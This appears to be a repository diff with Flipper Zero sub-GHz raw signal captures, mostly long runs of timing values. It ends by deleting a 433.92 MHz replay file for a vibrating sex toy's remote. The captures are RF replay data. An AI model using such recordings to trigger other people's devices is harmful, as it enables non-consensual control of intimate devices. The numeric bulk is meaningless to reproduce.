-230 263 -98 65 -100 463 -200 97 -264 131 -428 63 -232 97 -164 229 -462 361 -198 131 -432 363 -696 197 -130 133 -200 129 -100 227 -66 97 -130 99 -100 131 -298 99 -690 197 -166 201 -166 65 -668 99 -100 265 -1090 65 -100 263 -364 97 -196 65 -464 65 -890 97 -164 99 -98 163 -1062 131 -132 165 -398 231 -132 133 -166 97 -200 99 -134 231 -598 65 -98 165 -758 131 -426 99 -98 197 -662 197 -696 297 -200 465 -628 99 -432 197 -664 431 -264 169 -200 331 -300 65 -134 199 -726 65 -66 265 -232 65 -100 97 -RAW_Data: -66 297 -234 197 -264 197 -100 131 -132 233 -66 197 -166 133 -166 857 -100 199 -68 265 -166 99 -164 461 -100 97 -134 97 -300 231 -232 399 -68 97 -332 67 -166 595 -232 65 -298 131 -100 1419 -98 295 -66 721 -100 65 -132 723 -64 1019 -198 263 -100 695 -66 299 -100 397 -98 65 -98 1459 -134 791 -64 231 -132 199 -66 131 -596 131 -98 263 -132 231 -100 495 -100 431 -132 167 -100 133 -100 165 -266 263 -132 129 -196 99 -264 359 -332 131 -164 99 -198 461 -66 391 -100 197 -202 67 -132 461 -132 165 -460 429 -332 65 -132 165 -166 367 -134 65 -132 99 -168 759 -68 397 -66 463 -132 433 -362 463 -66 231 -100 99 -132 495 -196 989 -166 2059 -166 363 -132 1427 -298 397 -132 395 -166 627 -232 165 -330 163 -198 935 -166 131 -298 365 -66 133 -132 131 -66 365 -230 229 -66 131 -198 261 -330 165 -66 165 -100 97 -266 131 -100 1943 -100 97 -98 591 -66 197 -130 3391 -130 523 -100 433 -66 233 -132 1025 -134 99 -268 629 -132 165 -134 399 -332 229 -66 131 -264 327 -830 99 -100 595 -264 65 -230 559 -66 1117 -100 327 -132 1973 -164 3551 -66 1051 -66 295 -164 493 -198 461 -394 131 -198 97 -130 359 -98 65 -100 99 -66 331 -198 333 -166 429 -132 723 -230 65 -100 4515 -98 97 -166 229 -66 227 -132 391 -132 329 -98 1351 -134 233 -100 1613 -100 231 -68 267 -200 659 -98 531 -100 269 -134 565 -298 497 -198 429 -130 131 -266 65 -66 97 -66 131 -66 561 -98 65 -460 131 -132 793 -66 131 -134 563 -66 133 -264 131 -296 229 -296 99 -64 361 -98 131 -196 165 -64 263 -132 133 -232 133 -232 599 -366 333 -132 197 -132 663 -364 559 -234 131 -66 131 -132 65 -100 65 -264 293 -98 129 -132 97 -66 461 -332 463 -332 393 -98 393 -132 329 -66 97 -100 65 -296 165 -100 261 -132 263 -234 97 -166 163 -260 497 -132 67 -462 361 -396 99 -98 231 -98 165 -228 197 -66 329 -230 131 -1116 359 -98 197 -198 65 -134 131 -534 165 -398 329 -954 99 -528 97 -66 99 -98 99 -232 197 -264 165 -530 97 -100 165 -200 99 -134 297 -332 397 -662 65 -1286 131 -430 163 -66 131 -396 229 -164 197 -164 233 -166 99 -266 197 -828 165 -66 65 -132 295 -594 163 -526 65 -164 131 -66 131 -164 97 -332 331 -134 663 -100 197 -66 199 -100 297 -232 523 -164 65 -134 97 -166 65 -166 165 -1020 97 -198 129 -232 163 -132 131 -2012 99 -264 165 -100 163 -954 331 -394 229 -328 97 -362 427 -RAW_Data: -528 559 -166 165 -530 557 -98 65 -132 1549 -102 363 -98 1117 -264 97 -66 131 -100 1849 -166 131 -66 297 -132 663 -334 131 -264 955 -232 65 -264 363 -66 165 -132 99 -200 297 -266 99 -198 433 -234 165 -68 65 -100 231 -332 65 -100 593 -596 97 -234 465 -100 133 -132 167 -332 165 -266 97 -132 561 -168 1651 -98 695 -232 429 -196 293 -100 63 -66 265 -100 1087 -98 97 -100 657 -330 229 -66 1349 -66 165 -132 591 -66 465 -694 295 -98 491 -132 197 -528 511 -852 415 -846 441 -846 419 -852 389 -872 411 -844 413 -812 417 -866 1665 -450 383 -446 419 -412 411 -448 409 -434 385 -446 417 -868 379 -446 417 -852 427 -408 417 -416 417 -418 433 -856 381 -450 391 -450 409 -428 409 -846 427 -854 411 -410 437 -842 425 -416 445 -816 413 -452 401 -854 417 -418 425 -852 387 -838 419 -852 269 -1010 411 -822 415 -866 413 -848 423 -854 381 -852 403 -884 1667 -422 445 -414 407 -436 385 -448 415 -410 441 -418 415 -846 433 -812 415 -452 407 -424 443 -384 443 -520 327 -842 419 -416 247 -586 407 -452 379 -878 407 -848 415 -416 417 -878 409 -420 415 -846 433 -390 443 -1162 61 -438 417 -846 443 -846 417 -852 387 -874 413 -846 413 -842 425 -852 387 -840 417 -848 403 -882 1667 -578 283 -426 393 -442 409 -580 261 -422 425 -440 381 -850 439 -824 417 -680 175 -440 399 -434 419 -682 165 -828 405 -456 387 -446 413 -420 395 -852 101 -272 415 -418 417 -850 437 -386 447 -846 437 -386 445 -846 233 -590 415 -840 429 -850 415 -852 423 -838 415 -842 405 -870 419 -824 413 -850 439 -826 449 -844 1653 -448 123 -416 441 -384 445 -422 101 -240 65 -426 425 -442 381 -876 395 -866 419 -414 211 -624 407 -422 423 -442 165 -1096 407 -452 379 -512 333 -448 417 -838 259 -998 411 -450 425 -850 389 -444 383 -1048 241 -414 425 -836 383 -452 435 -860 385 -876 395 -848 415 -834 413 -876 419 -816 439 -844 387 -884 387 -874 413 -880 1637 -412 223 -612 413 -416 445 -416 283 -566 419 -414 409 -1046 221 -828 411 -450 357 -484 401 -424 441 -382 445 -850 415 -416 449 -424 103 -428 395 -864 417 -848 399 -426 409 -842 425 -414 445 -844 129 -702 415 -848 407 -454 415 -844 397 -980 281 -846 411 -1066 199 -848 437 -1046 199 -868 395 -1024 227 -878 411 -1078 1437 -450 385 -450 405 -426 407 -416 445 -418 399 -432 417 -846 175 -1076 437 -418 415 -450 367 -456 389 -446 413 -854 397 -436 417 -418 227 -630 413 -844 421 -834 413 -442 411 -1044 239 -RAW_Data: -410 427 -846 385 -440 415 -842 423 -734 91 -130406 65 -3024 197 -100 199 -166 97 -166 65 -100 365 -134 97 -298 131 -700 231 -764 99 -498 395 -1650 97 -600 131 -66 131 -132 65 -66 297 -894 67 -98 233 -66 165 -66 99 -232 199 -98 99 -132 99 -100 297 -100 299 -98 99 -132 67 -98 165 -164 231 -166 65 -1024 197 -100 197 -198 65 -2012 65 -232 99 -132 99 -994 97 -364 133 -132 99 -530 99 -166 265 -132 65 -66 199 -132 165 -66 99 -100 199 -696 199 -336 395 -296 65 -696 65 -68 97 -134 131 -298 165 -134 167 -134 99 -100 199 -464 265 -592 65 -956 65 -132 229 -854 97 -164 65 -66 163 -164 163 -698 99 -132 101 -132 133 -166 231 -198 97 -100 233 -66 133 -134 131 -200 99 -532 263 -200 167 -168 99 -200 65 -132 133 -500 133 -166 99 -168 301 -530 295 -132 97 -462 163 -164 331 -132 165 -132 233 -230 99 -200 197 -234 165 -132 67 -198 299 -1120 65 -164 65 -130 197 -230 65 -494 165 -164 163 -196 131 -362 557 -1026 363 -562 65 -232 63 -396 331 -298 97 -262 65 -66 65 -596 67 -164 393 -66 99 -98 163 -132 97 -64 99 -66 525 -164 229 -166 65 -100 131 -100 199 -132 367 -66 165 -66 331 -98 525 -100 559 -198 97 -66 133 -232 131 -66 297 -68 231 -132 633 -200 197 -100 231 -396 597 -166 465 -66 199 -100 199 -498 131 -132 99 -200 431 -100 597 -266 99 -100 725 -296 265 -166 231 -98 263 -196 461 -230 329 -66 329 -64 823 -232 197 -64 627 -98 427 -132 129 -626 133 -564 295 -300 231 -132 401 -398 163 -294 65 -426 97 -66 231 -130 329 -232 99 -98 393 -694 65 -200 165 -2378 65 -622 131 -64 165 -66 163 -130 99 -164 361 -164 97 -424 295 -164 295 -134 829 -98 267 -68 63 -232 165 -134 199 -366 65 -166 67 -364 267 -166 129 -134 297 -66 97 -166 197 -164 65 -132 65 -98 295 -130 197 -164 165 -196 65 -630 231 -66 65 -466 65 -66 499 -430 65 -232 99 -696 231 -132 67 -596 299 -132 67 -300 131 -330 65 -134 99 -166 131 -100 199 -700 131 -528 63 -198 65 -494 165 -228 131 -296 65 -296 295 -924 295 -498 65 -566 363 -266 131 -298 65 -132 99 -400 97 -166 67 -132 231 -198 263 -134 131 -430 65 -300 97 -394 65 -164 99 -164 97 -198 293 -198 131 -590 97 -924 63 -1022 129 -66 197 -296 363 -132 197 -196 231 -198 65 -132 233 -100 131 -630 199 -364 165 -132 199 -992 265 -330 65 -230 163 -132 97 -66 329 -66 263 -RAW_Data: -460 297 -98 529 -164 395 -132 195 -166 97 -132 229 -492 99 -132 229 -98 163 -66 197 -66 425 -132 327 -132 195 -164 457 -98 753 -164 557 -66 263 -98 163 -198 1379 -66 495 -98 491 -264 361 -66 265 -132 167 -64 1451 -100 557 -66 197 -360 65 -230 97 -132 823 -98 295 -166 261 -100 429 -432 465 -66 429 -68 131 -166 65 -234 167 -200 99 -66 397 -66 99 -166 629 -296 655 -100 65 -100 429 -298 131 -132 231 -132 167 -266 65 -100 397 -200 99 -198 165 -298 65 -98 295 -68 131 -100 65 -330 263 -66 199 -132 901 -98 165 -100 2899 -100 199 -100 429 -66 99 -66 99 -66 199 -100 265 -68 361 -98 299 -68 2119 -100 65 -100 327 -232 67 -132 99 -266 197 -200 563 -66 299 -100 431 -98 265 -98 667 -66 233 -200 133 -100 263 -134 729 -100 133 -166 97 -332 595 -66 131 -166 1031 -264 99 -398 331 -164 195 -166 261 -66 1325 -66 431 -168 199 -134 331 -100 765 -66 161 -66 1017 -164 457 -66 857 -98 625 -100 1775 -166 97 -100 131 -166 201 -66 1191 -336 131 -100 65 -996 133 -98 265 -200 165 -398 265 -66 165 -66 431 -100 265 -100 493 -198 99 -100 563 -166 165 -166 99 -296 331 -66 665 -66 1321 -132 891 -164 427 -98 625 -98 821 -100 131 -66 923 -100 357 -98 1251 -98 765 -132 99 -366 199 -234 263 -198 331 -628 429 -66 365 -398 861 -100 231 -266 563 -132 199 -166 365 -100 67 -298 99 -98 99 -232 525 -460 561 -232 263 -100 295 -162 163 -66 329 -66 131 -66 295 -890 425 -456 99 -66 131 -328 297 -266 297 -234 131 -68 131 -98 459 -264 723 -134 65 -66 165 -166 231 -100 65 -134 129 -66 65 -66 363 -626 97 -130 459 -726 331 -464 131 -66 229 -1220 261 -166 295 -496 65 -1222 63 -230 165 -986 65 -166 97 -132 131 -394 65 -68 261 -298 365 -66 165 -332 63 -132 197 -66 261 -100 195 -66 99 -132 97 -462 197 -330 99 -164 165 -228 557 -66 97 -132 361 -66 263 -164 99 -330 497 -100 133 -198 795 -132 65 -132 365 -100 265 -398 165 -302 165 -100 299 -98 233 -100 199 -100 397 -98 599 -100 67 -100 561 -166 231 -68 99 -166 1193 -66 99 -166 263 -164 295 -132 97 -132 197 -330 65 -400 97 -660 65 -100 233 -432 65 -66 131 -100 99 -100 233 -132 65 -432 197 -168 199 -100 97 -134 133 -200 65 -894 167 -132 201 -166 131 -230 131 -232 229 -230 65 -66 329 -232 65 -1858 199 -196 197 -528 97 -166 99 -232 299 -132 199 -198 97 -64 97 -RAW_Data: -166 65 -262 593 -166 1795 -200 727 -64 827 -100 1391 -98 765 -134 459 -66 625 -100 1889 -100 465 -132 165 -166 163 -198 331 -66 231 -166 563 -66 663 -332 331 -100 297 -296 327 -198 229 -134 831 -332 365 -166 565 -68 299 -164 497 -98 299 -68 1033 -66 797 -232 631 -68 1221 -100 523 -100 1491 -268 499 -332 65 -100 65 -132 99 -398 97 -132 229 -98 329 -98 131 -66 229 -132 197 -164 361 -264 197 -100 165 -100 761 -230 165 -264 67 -98 67 -66 629 -298 395 -264 67 -98 1451 -132 1943 -66 1217 -164 529 -134 131 -166 299 -134 133 -132 1427 -232 297 -100 131 -134 201 -166 299 -132 131 -332 65 -264 333 -98 197 -332 163 -134 163 -166 133 -726 97 -100 327 -66 887 -230 559 -132 131 -262 97 -166 229 -166 97 -66 1283 -166 763 -66 463 -68 563 -66 461 -134 1557 -98 765 -66 265 -132 431 -66 131 -68 265 -100 199 -100 429 -100 1953 -166 395 -100 229 -100 891 -66 97 -198 65 -296 557 -330 459 -132 361 -232 65 -100 1759 -200 231 -134 427 -296 263 -298 663 -100 65 -132 601 -166 97 -66 263 -100 197 -132 361 -100 365 -164 331 -200 297 -66 131 -132 265 -300 199 -232 197 -134 299 -100 131 -298 131 -98 165 -100 131 -68 397 -66 1125 -100 495 -66 163 -66 4113 -296 723 -98 391 -132 1289 -166 465 -232 527 -166 333 -200 199 -100 131 -464 131 -66 165 -394 361 -98 361 -166 199 -66 265 -164 131 -730 365 -598 197 -664 433 -960 131 -164 65 -296 131 -100 131 -230 133 -66 97 -132 293 -98 263 -890 99 -132 197 -132 199 -200 65 -262 131 -164 263 -100 97 -66 691 -264 165 -98 625 -266 263 -132 659 -134 299 -198 497 -262 165 -296 65 -166 361 -166 131 -134 367 -362 533 -264 231 -134 167 -532 263 -164 67 -132 165 -134 197 -168 165 -332 65 -134 65 -794 461 -164 163 -198 97 -426 263 -166 99 -100 99 -364 65 -730 65 -134 133 -66 99 -166 65 -660 131 -98 65 -328 65 -164 229 -394 129 -100 229 -660 163 -230 165 -326 263 -558 65 -232 63 -328 493 -198 131 -198 63 -264 165 -132 65 -134 263 -1228 265 -1096 295 -130 99 -630 199 -430 99 -66 197 -166 265 -1688 229 -362 197 -164 65 -132 197 -232 63 -264 65 -132 229 -198 97 -560 131 -164 65 -296 331 -328 99 -360 197 -164 129 -230 65 -560 197 -130 131 -130 131 -328 131 -130 99 -130 197 -132 199 -96 261 -298 463 -460 65 -824 97 -66 459 -230 165 -66 297 -332 165 -134 463 -66 99 -134 265 -132 197 -132 99 -RAW_Data: -594 133 -828 131 -66 297 -232 365 -66 263 -300 265 -130 623 -230 297 -296 163 -262 591 -66 97 -64 427 -100 429 -66 229 -194 329 -132 99 -296 559 -66 165 -98 2275 -98 167 -100 65 -266 197 -300 97 -66 165 -68 329 -100 363 -168 65 -66 829 -100 363 -196 165 -196 131 -66 197 -66 65 -64 131 -166 163 -98 361 -398 97 -198 561 -132 929 -100 165 -100 65 -66 1359 -132 761 -66 563 -68 529 -134 1361 -100 861 -66 297 -200 727 -168 663 -168 99 -66 133 -132 231 -200 97 -100 133 -68 467 -134 165 -100 297 -100 331 -400 529 -134 131 -100 133 -100 233 -98 99 -200 165 -298 163 -64 163 -164 163 -100 97 -132 593 -100 65 -298 463 -264 297 -166 363 -132 133 -232 1591 -66 331 -66 531 -232 765 -98 265 -66 859 -166 99 -266 597 -298 231 -364 627 -132 99 -100 1157 -264 887 -132 65 -198 361 -164 97 -98 97 -164 329 -66 329 -98 163 -856 99 -100 425 -198 99 -98 229 -364 195 -132 229 -264 227 -130 97 -166 163 -100 397 -266 99 -100 231 -200 133 -336 131 -100 131 -402 1157 -66 955 -200 229 -66 689 -100 689 -100 227 -66 361 -98 97 -66 163 -166 229 -66 465 -132 167 -168 397 -166 359 -198 327 -100 1083 -66 1159 -100 599 -66 1625 -198 593 -330 895 -134 1195 -100 697 -200 1363 -132 565 -66 231 -66 97 -66 793 -296 263 -98 195 -98 99 -262 197 -394 97 -296 363 -100 499 -98 333 -132 165 -298 231 -98 599 -68 231 -132 299 -562 2125 -134 197 -64 925 -264 527 -166 395 -266 629 -198 1423 -196 327 -230 395 -66 97 -66 163 -164 197 -64 329 -98 65 -100 1091 -164 299 -400 697 -230 329 -66 163 -66 99 -132 327 -132 65 -100 821 -166 131 -264 297 -132 493 -166 131 -164 493 -100 727 -100 1261 -232 133 -132 329 -430 97 -166 165 -100 67 -232 859 -132 65 -268 97 -66 265 -100 65 -132 299 -298 265 -234 165 -132 65 -132 99 -98 133 -264 99 -66 397 -198 463 -166 65 -98 65 -98 263 -100 297 -266 495 -66 233 -436 165 -466 65 -136 65 -66 199 -132 99 -298 131 -166 67 -264 165 -66 99 -134 595 -266 99 -232 99 -132 167 -168 99 -1552 199 -164 197 -266 167 -168 131 -66 99 -730 65 -234 65 -330 131 -994 99 -630 65 -232 197 -134 231 -100 199 -100 131 -264 99 -264 65 -100 431 -100 199 -300 231 -130 165 -594 65 -498 99 -66 265 -264 133 -132 65 -68 163 -300 99 -232 67 -132 165 -166 165 -66 131 -164 231 -1780 331 -98 99 -166 201 -166 129 -RAW_Data: -232 263 -200 197 -370 165 -166 699 -66 263 -132 65 -196 197 -132 627 -66 67 -130 659 -166 231 -132 563 -266 231 -200 235 -364 2161 -68 791 -198 891 -132 1779 -164 393 -98 459 -100 393 -296 2047 -426 427 -132 723 -66 63 -66 131 -98 429 -234 99 -166 797 -68 595 -134 465 -366 529 -330 299 -200 99 -100 99 -66 529 -66 233 -200 297 -462 1795 -66 265 -66 65 -100 163 -132 165 -68 231 -100 233 -66 695 -264 65 -132 397 -66 1461 -266 993 -268 197 -132 593 -100 1191 -164 295 -66 629 -164 657 -98 335 -98 299 -232 231 -66 133 -200 163 -168 165 -364 329 -232 231 -134 131 -100 97 -200 427 -66 163 -66 229 -100 99 -164 263 -198 131 -98 229 -166 197 -100 1585 -262 1713 -66 65 -98 921 -164 523 -98 1087 -66 197 -326 99 -98 699 -98 97 -66 97 -164 589 -164 231 -100 97 -100 265 -200 297 -66 131 -66 593 -68 299 -66 531 -166 65 -298 661 -232 65 -234 131 -68 163 -498 231 -196 399 -66 425 -66 263 -132 99 -66 99 -164 133 -132 301 -494 129 -100 495 -166 229 -66 361 -98 329 -166 167 -66 167 -66 133 -200 99 -232 99 -100 131 -166 165 -200 65 -464 133 -66 65 -266 429 -132 263 -266 1393 -66 529 -232 65 -66 725 -330 99 -132 499 -102 231 -166 761 -66 531 -66 825 -132 229 -228 1123 -166 733 -132 725 -166 297 -266 265 -100 131 -232 329 -66 199 -98 329 -100 689 -398 131 -132 99 -234 265 -164 133 -232 133 -166 365 -430 331 -100 1425 -462 463 -132 231 -364 229 -66 163 -66 561 -66 401 -66 297 -198 527 -66 131 -130 97 -166 231 -100 101 -132 461 -100 695 -166 129 -198 165 -130 393 -166 231 -164 133 -658 229 -198 97 -198 65 -1018 527 -660 395 -132 231 -428 97 -132 163 -196 231 -534 65 -232 97 -230 131 -1386 129 -232 197 -198 261 -166 65 -98 97 -100 97 -464 65 -66 67 -460 131 -628 163 -200 269 -66 397 -832 463 -198 67 -430 99 -168 199 -132 99 -630 131 -68 197 -896 199 -132 165 -198 233 -430 101 -232 233 -298 461 -300 65 -100 363 -398 131 -66 463 -66 233 -100 265 -232 165 -98 265 -166 231 -132 99 -234 197 -134 297 -166 97 -66 97 -298 97 -198 231 -68 231 -200 233 -66 131 -234 763 -100 231 -166 795 -132 397 -102 431 -166 657 -494 329 -164 259 -66 131 -164 163 -100 263 -1120 329 -132 65 -66 165 -164 65 -198 229 -66 327 -296 197 -532 265 -166 99 -100 65 -132 297 -132 697 -100 231 -132 295 -328 231 -66 497 -298 1591 -RAW_Data: -166 729 -134 299 -132 727 -100 563 -100 131 -66 663 -100 1123 -198 4401 -200 595 -66 987 -298 793 -100 563 -68 295 -66 99 -66 495 -234 199 -100 133 -66 165 -66 165 -68 65 -66 429 -66 597 -132 855 -232 131 -296 229 -132 393 -134 429 -66 97 -300 99 -66 461 -100 595 -66 497 -68 297 -232 2953 -68 497 -166 995 -262 1557 -100 293 -66 361 -198 327 -198 755 -98 1291 -166 229 -98 163 -230 429 -166 131 -130 657 -132 495 -362 99 -130 65 -132 129 -100 65 -66 97 -166 65 -334 131 -100 297 -398 131 -200 133 -66 99 -166 263 -66 329 -262 195 -164 263 -132 597 -66 429 -266 97 -232 63 -132 231 -132 99 -100 1129 -98 327 -66 261 -164 63 -166 261 -66 163 -132 265 -100 1215 -98 97 -98 231 -98 627 -168 729 -100 131 -66 231 -134 1261 -100 559 -98 325 -200 231 -166 99 -66 131 -100 563 -100 563 -232 197 -200 165 -298 299 -100 397 -332 431 -398 267 -134 65 -98 265 -132 67 -98 593 -164 65 -162 65 -230 495 -100 429 -66 163 -100 99 -132 65 -300 663 -66 995 -166 365 -200 433 -232 461 -100 759 -66 297 -66 231 -100 231 -134 1453 -66 1593 -66 65 -100 427 -132 99 -132 397 -100 131 -100 565 -98 99 -100 463 -66 99 -66 895 -232 565 -68 133 -400 65 -100 197 -630 65 -166 599 -200 67 -300 631 -134 197 -100 2555 -198 729 -134 427 -100 267 -168 299 -366 1955 -198 1149 -364 99 -66 65 -66 761 -132 325 -98 395 -132 167 -98 97 -66 67 -132 465 -232 131 -266 99 -100 463 -100 65 -532 295 -198 199 -166 267 -66 333 -66 65 -198 1165 -198 165 -66 167 -100 133 -166 99 -100 563 -168 1459 -362 63 -166 263 -330 131 -230 161 -132 161 -790 229 -396 195 -196 65 -164 97 -1326 65 -68 131 -166 99 -100 165 -266 99 -830 67 -432 199 -232 99 -100 231 -332 163 -560 195 -260 195 -460 65 -66 229 -166 65 -134 195 -100 299 -198 199 -764 131 -564 131 -698 131 -166 133 -300 131 -200 97 -100 65 -532 65 -200 231 -300 199 -264 131 -428 165 -998 133 -132 133 -564 65 -134 65 -198 297 -528 559 -262 65 -98 197 -524 229 -260 391 -1822 167 -132 65 -100 199 -334 197 -168 131 -68 65 -134 99 -364 131 -464 297 -724 131 -920 131 -164 97 -130 263 -164 161 -230 197 -196 65 -328 197 -330 99 -400 265 -166 331 -600 263 -132 131 -134 235 -132 67 -66 229 -366 329 -564 133 -166 99 -332 99 -166 163 -234 67 -928 163 -662 265 -896 361 -330 65 -2054 97 -300 97 -RAW_Data: -1394 331 -100 65 -132 133 -262 131 -230 587 -198 329 -98 533 -66 427 -136 297 -66 99 -262 627 -132 99 -100 165 -98 199 -266 497 -66 827 -98 99 -132 233 -100 395 -66 99 -66 365 -98 559 -428 433 -166 99 -132 133 -200 65 -100 131 -134 501 -598 131 -100 233 -132 231 -132 1377 -66 331 -100 1691 -66 463 -232 1911 -100 1621 -68 463 -200 363 -100 495 -66 199 -200 131 -132 197 -526 295 -98 295 -66 99 -198 687 -66 625 -132 65 -64 695 -198 793 -100 431 -364 131 -166 231 -168 65 -100 65 -132 531 -132 131 -230 721 -64 97 -166 131 -134 757 -66 67 -132 1025 -132 1127 -66 195 -98 921 -68 2689 -100 523 -66 131 -230 263 -200 65 -168 231 -134 361 -98 691 -66 97 -68 693 -66 595 -164 1153 -100 327 -264 197 -266 231 -234 427 -66 99 -430 363 -762 65 -132 131 -134 297 -166 599 -230 165 -166 1059 -396 99 -98 329 -98 199 -232 199 -66 831 -66 365 -298 599 -68 399 -100 1057 -164 719 -100 65 -100 921 -66 327 -296 65 -196 559 -66 197 -132 459 -164 65 -164 689 -130 63 -132 297 -100 431 -68 65 -100 67 -332 65 -100 229 -100 299 -66 65 -100 825 -132 165 -100 99 -300 395 -200 2053 -198 363 -98 1945 -232 2369 -98 163 -392 625 -198 197 -264 229 -132 657 -232 199 -98 99 -66 427 -232 297 -232 67 -264 99 -66 133 -66 265 -66 663 -100 99 -66 297 -100 65 -232 165 -66 495 -166 195 -592 63 -594 393 -796 131 -362 163 -364 67 -264 131 -532 65 -132 397 -232 233 -266 131 -134 131 -598 165 -530 97 -366 99 -368 231 -196 527 -460 97 -66 99 -430 99 -200 67 -132 99 -134 297 -132 99 -166 99 -498 231 -230 99 -130 397 -66 229 -462 65 -398 263 -1062 263 -332 65 -100 197 -166 195 -264 63 -66 165 -330 99 -130 197 -130 65 -526 265 -164 97 -430 97 -234 63 -66 457 -132 99 -294 97 -232 97 -132 229 -164 131 -132 197 -132 427 -198 165 -100 467 -66 99 -268 131 -100 263 -100 131 -66 631 -100 65 -66 197 -196 625 -100 131 -166 131 -132 131 -132 133 -132 727 -66 331 -164 67 -132 231 -98 131 -66 921 -132 525 -98 131 -66 395 -164 1479 -100 197 -100 1263 -132 165 -100 65 -232 265 -132 431 -332 197 -100 263 -298 97 -100 99 -168 131 -134 265 -98 465 -100 131 -66 265 -134 665 -98 699 -100 1215 -926 131 -426 263 -490 97 -132 65 -66 97 -100 361 -100 197 -164 131 -66 165 -428 65 -166 131 -392 65 -264 359 -428 131 -164 231 -232 97 -RAW_Data: -100 231 -200 331 -100 231 -200 565 -166 131 -300 199 -98 791 -262 231 -164 97 -166 131 -66 229 -164 163 -132 299 -100 167 -232 99 -66 131 -66 491 -66 261 -230 197 -134 167 -202 5149 -100 1223 -66 755 -66 1787 -66 431 -66 399 -200 463 -66 1029 -66 497 -200 563 -132 227 -66 295 -168 297 -100 527 -132 929 -132 367 -66 265 -66 165 -200 463 -166 1619 -68 4841 -100 2353 -102 599 -68 597 -166 99 -66 2485 -166 1247 -66 463 -132 491 -98 425 -98 5641 -100 1879 -66 229 -166 495 -66 459 -98 825 -66 97 -328 265 -98 131 -100 131 -130 1351 -66 429 -232 795 -132 101 -66 693 -134 627 -266 133 -66 65 -134 65 -132 233 -98 133 -168 761 -98 1227 -132 695 -134 2795 -66 327 -296 263 -66 723 -98 197 -164 195 -66 99 -98 789 -232 165 -132 791 -130 527 -98 757 -98 131 -66 99 -64 65 -100 359 -98 65 -462 329 -166 261 -296 195 -166 163 -64 459 -294 297 -364 333 -66 399 -164 199 -200 97 -132 197 -130 459 -66 461 -132 233 -132 165 -68 297 -300 231 -134 495 -294 295 -198 133 -66 133 -98 99 -66 395 -66 857 -66 265 -198 231 -98 295 -232 263 -134 297 -134 691 -332 1257 -166 1289 -198 425 -68 597 -98 923 -98 99 -164 229 -130 231 -98 263 -98 129 -164 163 -166 261 -164 65 -360 165 -132 197 -66 167 -468 233 -232 429 -264 227 -230 297 -166 133 -168 265 -134 165 -264 261 -888 197 -164 195 -394 295 -330 129 -66 131 -230 329 -166 263 -432 331 -130 295 -326 231 -130 263 -66 195 -198 467 -66 299 -132 165 -530 99 -132 99 -66 99 -66 99 -100 99 -464 197 -168 165 -166 133 -134 65 -66 99 -100 597 -298 133 -198 133 -66 331 -132 199 -432 131 -198 333 -132 231 -66 1059 -100 99 -98 331 -166 99 -100 265 -134 65 -168 233 -232 231 -296 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_2.sub deleted file mode 100644 index 8c2f57d58..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_2.sub +++ /dev/null @@ -1,13 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1025 -100 561 -98 199 -332 97 -496 199 -98 165 -68 197 -166 65 -100 97 -232 295 -68 231 -132 1029 -98 629 -234 927 -266 201 -665 625 -66 131 -66 395 -98 99 -66 165 -166 463 -300 465 -232 99 -98 465 -464 197 -200 99 -166 131 -300 199 -466 231 -100 297 -66 65 -100 231 -98 299 -298 199 -100 165 -134 699 -132 131 -166 133 -66 165 -402 163 -66 229 -166 99 -100 167 -100 265 -68 363 -166 529 -296 197 -168 167 -100 165 -428 329 -262 165 -130 131 -196 99 -826 263 -166 133 -166 133 -98 497 -134 65 -332 629 -132 133 -100 229 -130 97 -198 63 -66 131 -100 263 -134 131 -100 431 -464 165 -232 167 -166 65 -132 765 -66 397 -100 231 -66 163 -198 63 -232 723 -98 231 -98 65 -164 263 -98 295 -294 131 -98 99 -264 163 -132 327 -134 99 -100 365 -98 233 -232 199 -562 197 -100 163 -132 499 -132 165 -430 431 -232 229 -394 957 -164 65 -196 625 -498 199 -130 359 -68 65 -68 263 -132 229 -132 63 -166 593 -164 297 -98 167 -66 433 -166 167 -102 99 -68 363 -232 231 -200 561 -196 263 -132 697 -100 463 -166 363 -200 65 -100 195 -200 463 -232 67 -66 397 -598 131 -132 131 -98 229 -132 261 -98 295 -164 133 -98 195 -360 329 -130 65 -162 395 -100 165 -164 131 -130 329 -130 197 -326 591 -132 131 -164 133 -164 131 -162 227 -66 195 -198 63 -98 97 -132 131 -198 195 -394 131 -198 99 -594 429 -166 65 -100 265 -66 329 -166 299 -132 133 -132 99 -98 265 -66 197 -132 563 -68 231 -232 65 -68 133 -66 131 -166 133 -264 195 -594 395 -98 197 -596 361 -394 99 -234 197 -460 65 -132 229 -66 261 -230 431 -66 797 -100 165 -200 231 -100 431 -100 5073 -66 3573 -98 865 -98 3123 -132 631 -200 431 -66 199 -298 97 -98 197 -100 265 -166 133 -132 331 -166 267 -302 197 -134 197 -168 197 -100 133 -100 233 -66 99 -66 1455 -66 263 -168 1647 -264 233 -102 1851 -66 2569 -98 1193 -166 1415 -100 727 -98 987 -134 327 -100 231 -98 231 -132 227 -132 397 -100 233 -202 131 -68 429 -134 693 -132 65 -132 395 -66 267 -232 261 -66 297 -198 329 -166 327 -98 983 -100 131 -98 131 -132 457 -98 259 -230 99 -230 295 -228 165 -66 231 -98 133 -100 229 -66 327 -166 423 -198 263 -132 99 -328 65 -400 367 -66 197 -134 65 -132 197 -132 199 -662 165 -264 393 -64 787 -66 433 -134 263 -394 131 -100 461 -134 895 -98 365 -132 263 -232 297 -66 65 -100 1127 -134 97 -100 -RAW_Data: 165 -166 65 -66 923 -198 4087 -66 2055 -100 665 -166 1163 -100 433 -132 595 -200 1293 -68 531 -262 11993 -98 4267 -132 729 -166 1461 -134 795 -198 297 -66 2545 -66 361 -66 1225 -66 1093 -134 201 -66 2991 -100 563 -66 5505 -166 65 -66 361 -66 631 -66 401 -98 4121 -66 665 -68 3043 -64 857 -134 1129 -166 729 -266 1225 -132 2419 -98 2059 -66 99 -234 2243 -98 8705 -132 1951 -98 2687 -66 363 -230 1413 -66 497 -98 231 -68 197 -132 133 -398 231 -66 199 -828 597 -300 65 -100 131 -66 499 -198 67 -166 231 -102 531 -66 199 -432 561 -166 99 -166 167 -200 97 -166 331 -330 65 -196 165 -98 197 -230 197 -132 397 -132 297 -300 99 -98 267 -132 165 -200 233 -68 167 -66 